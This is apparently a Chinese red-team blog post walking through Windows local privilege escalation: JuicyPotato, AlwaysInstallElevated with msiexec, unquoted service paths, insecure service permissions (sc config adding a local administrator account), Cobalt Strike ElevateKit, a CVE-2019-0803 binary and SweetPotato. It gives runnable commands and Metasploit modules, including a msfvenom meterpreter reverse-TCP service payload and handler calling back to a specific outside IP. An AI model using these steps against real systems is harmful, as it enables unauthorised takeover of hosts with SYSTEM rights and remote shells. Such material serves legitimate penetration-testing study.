工具下载地址:
	https://gitee.com/yijingsec/juicy-potato/releases/download/v0.1/JuicyPotato.exe
juicypotato.exe -t * -p "qiaoshen.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097}

-t * : 指定创建进程的方式,* 表示尝试所有可能的创建方法(CreateProcessWithTokenW, CreatePr
ocessAsUser 等)。
-p "6666.exe" : 指定提权后要执行的程序路径(这里是 6666.exe)。
-l 9001 : 指定本地监听的端口号(9001),用于 COM 服务通信。
-c {4991d34b-80a1-4291-83b6-3328366b9097} : 指定目标 COM 组件的 CLSID(这里是{4991d34b-80a1-4291-83b6-3328366b9097}),Juicy Potato 利用该组件提权。

CLSID 列表 :
	https://github.com/ohpe/juicy-potato/tree/master/CLSID
MSF

Pasted image 20250817143851.png

Pasted image 20250817143926.png

CS

Pasted image 20250817144324.png

Pasted image 20250817144438.png

CLSID 列表 :
	https://github.com/ohpe/juicy-potato/tree/master/CLSID

Pasted image 20250817143213.png

Pasted image 20250817143258.png

6)Windows 系统服务漏洞
1)AlwaysInstallElevated (有问题 未解决)
任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。
	MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
	AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。

如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。


官方介绍文档:
	https://learn.microsoft.com/zh-cn/windows/win32/msi/alwaysinstallelevated
判断是否启用此策略设置
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

- 收到 "错误:系统无法找到指定的注册表项或值" 的错误,则表示此注册表值从未创建。 说明策略没有
启用。
- 收到 "AlwaysInstallElevated REG_DWORD 0x1",说明策略已经启用。

Pasted image 20250817144909.png

Pasted image 20250817145507.png

启用 Always Install Elevated

# 启用命令
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
	# 显示结果
	HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)

# 启用命令
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
	# 显示结果
	HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1)

Pasted image 20250817145348.png

Pasted image 20250817145406.png

Pasted image 20250817145441.png

Pasted image 20250817145527.png

Always Install Elevated 提权利用

下载 exemsi:
	https://www.exemsi.com/download/

Pasted image 20250817145857.png

Pasted image 20250817150044.png

Pasted image 20250817150109.png

Pasted image 20250817150218.png

Pasted image 20250817150453.png

Pasted image 20250817150512.png

Pasted image 20250817150618.png

接下来一路 Next

Pasted image 20250817150657.png

...

Pasted image 20250817150721.png

Pasted image 20250817150738.png

Pasted image 20250817150816.png

# 目标主机上运行
msiexec /quiet /qn /i qiaoshen.msi

# 得到system权限的shell
# always_install_elevated模块
use exploit/windows/local/always_install_elevated
set sessions 1
run

Pasted image 20250817152424.png

2)可信任服务路径
	存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
	需要管理员权限:
		1. 创建服务需要管理员权限。
		2. 启动 | 暂停 服务 需要管理员权限。

eg:
	C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
	
	检索方式(如果存在 空格):
	C:\Program.exe
	C:\Program Files (x86)\Windows.exe
	C:\Program Files (x86)\Windows Folder\Common.exe
	C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

	对于上面文件路径中的每一个空格,Windows 都会尝试寻找并执行名字与空格前的名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,Windows会依次尝试确定和执行下面的程序。

相关参考文章:
	https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa?redirectedfrom=MSDN
测试环境:
	漏洞服务下载地址:
		https://www.exploit-db.com/exploits/40428

本次漏洞利用的核心原理:
	安装路径包含 “ ” 空格:
		C:\temp\Vul\Macro Vul\4.0\MacroService.exe
	
	在启动服务时:
		1、当服务启动,去索引 C:\temp\Vul\Macro Vul\4.0\MacroService.exe 时
		2、到 C:\temp\Vul 时,开始检索 C:\temp\Vul\Macro"*" 这个地方出现了空格,于是在 C:\temp\Vul 路径下检索是否存在名为 macro.exe 的程序(Windows 不区分大小写),若存在,那么停止索引,启动 C:\temp\Vul\Macro.exe 程序。
		3、因此本次我们的思路就是把我们的 exe-service 型 payload 上传到我们的 C:\temp\Vul\ 文件夹下,启动服务即可。
检查目标主机是否可能存在漏洞
	利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名(即没有用 "" 括起来存在 " " 空格的路径),则可利用此漏洞。
# 1.检查目标主机是否可能存在漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

Pasted image 20250817234130.png

# 2.创建服务

# 管理员权限下使用sc创建 Windows Folder Service
sc create "Macro Vul" binPath= "C:\temp\Vul\Macro Vul\4.0\MacroService.exe" type= own start= auto obj= LocalSystem

# 给目录赋予everyone用户完全控制权限
cacls.exe "C:\temp\Vul\Macro Vul\4.0" /c /e /t /g everyone:F

# 温馨提示:删除服务
sc delete "Macro Vul"

Pasted image 20250817234216.png

Pasted image 20250817234320.png

# 3.检查对有漏洞目录是否有写入权限
icacls "C:\temp\Vul\Macro Vul\4.0"

F =完全控制
CI =容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

Pasted image 20250817234350.png

# 4.生成 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=120.55.169.128 LPORT=4205 -f exe-service -o macro.exe

-f exe-service:
	如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
	此处要生成的是 exe-service,因为如果一个 exe 要以 服务 的形式启动,需要不断的与 Service Mananger 进行通信,否则 Service Mananger 会认为服务出现了异常故障,会停止该 服务,在 MSF 当中显示出来的结果就是 session 极度的不稳定,上线一小会以后立马就会下线。而 exe 的 payload 自然无法实现与 Service Mananger 的通信,因此需要的是 -f exe-service。
	或者解决方案为:
		exe 的 payload 通过 服务 的方式启动后,快速的迁移到一个新的进程上。

-p windows/x64/meterpreter/reverse_tcp:
	exe-service 的 payload 有大小限制,不分段的 payload 超出了大小,在下面的第一张图展示了。

Pasted image 20250817155246.png

Pasted image 20250817234523.png

# 5.上传 exe 到漏洞目录

Pasted image 20250817234602.png

# MSF 启动监听
handler -p windows/x64/meterpreter/reverse_tcp -H 120.55.169.128 -P 4205

Pasted image 20250817234633.png

Pasted image 20250817234833.png

# 5.重启服务
sc qc "Macro Vul"

sc stop "Macro Vul"
sc start "Macro Vul"

# 如果没有权限重启服务,则需要等待服务器重启时执行exe

Pasted image 20250817234753.png

Pasted image 20250817235235.png

# MSF 也有对应此方法的 模块:
	Metasploit集成有 unquoted_service_path 模块
		模块实现自动化寻找存在 空格问题 的服务 的 路径,然后自动化的生成 payload 并上传写入,以及重启服务的操作。

use exploit/windows/local/unquoted_service_path

Pasted image 20250818000446.png

3)不安全的服务权限
	1、Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。

	2、JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。而类似 JAVA 程序之类的系统服务程序加载时往往都是运行在系统权限上的。

	所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
	直接修改服务的“ImagePath”注册表值,而不是修改服务属性。
# 1.利用accesschk工具检查易受到攻击的服务
accesschk.exe -ucqv "Authenticated Users" * /accepteula

	services_all_access - 需要包含由这个

- Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。
- SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权

Pasted image 20250818001329.png

# 2.看可完全控制的服务的属性
sc qc "Macro Vul"

# "Macro Vul" 其实并没有 “services_all_access”,因此此处仅作示例,此处并不会成功

Pasted image 20250818001858.png

Pasted image 20250818001920.png

3.修改服务配置执行命令
	BINARY_PATH_NAME 参数指向了该服务的可执行程序(wvs_supervisor.exe)路径


sc config "Macro Vul" binpath= "net user localtiquanAdduser password /add"
sc stop "Macro Vul"
sc start "Macro Vul"
sc config "Macro Vul" binpath= "net localgroup Administrators localtiquanAdduser /add"
sc start "Macro Vul"

- BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命
令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。

Pasted image 20250818002138.png

# service_permissions模块
use exploit/windows/local/service_permissions

Pasted image 20250818003108.png

Pasted image 20250818003049.png

Pasted image 20250818003131.png

Pasted image 20250818003212.png

Pasted image 20250818003217.png

CS

1)Elevate
项目地址(组件):
	https://github.com/rsmudge/ElevateKit

Pasted image 20250818003449.png

Pasted image 20250818003514.png

Pasted image 20250818003813.png

2)插件 - 模块提权

Pasted image 20250818010655.png

Pasted image 20250818010754.png

3)CS 运行 EXP
1. CVE-2019-0803
项目地址:
	https://github.com/k8gege/K8tools/blob/master/CVE-2019-0803.exe
Q:\QiaoShen\1Tool\PostExpKit\bin\escalation\OtherExps\CVE-2019-0803.exe
	CVE-2019-0803.exe cmd whoami

Q:\QiaoShen\1Tool\内网\提权\Windows\利用\Kernelhub\Windows\CVE-2019-0803\poc_test.exe
	poc_test.exe(CS 远控无法使用,仅可在本地时运用 或者 MSF)
	运行一个权限为 SYSTEM 的 cmd 命令窗口

Pasted image 20250816183157.png

Pasted image 20250818004409.png

Pasted image 20250818004616.png

4)加载 Powershell
help powershell-import

	Use: powershell-import [/path/to/local/script.ps1]

powershell-import C:\tool\PowerUp.ps1

Pasted image 20250818004932.png

Pasted image 20250818005607.png

Pasted image 20250818005733.png

Pasted image 20250818005015.png

5)SweetPotato

Pasted image 20250818005912.png

Pasted image 20250818010326.png

Pasted image 20250818010238.png

Pasted image 20250818010542.png

Pasted image 20250818010545.png

服务

Pasted image 20250823230557.png

Pasted image 20250823230629.png

Pasted image 20250823230730.png

文章作者: QiaoShen
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
红队实践 Windows 提权
喜欢就支持一下吧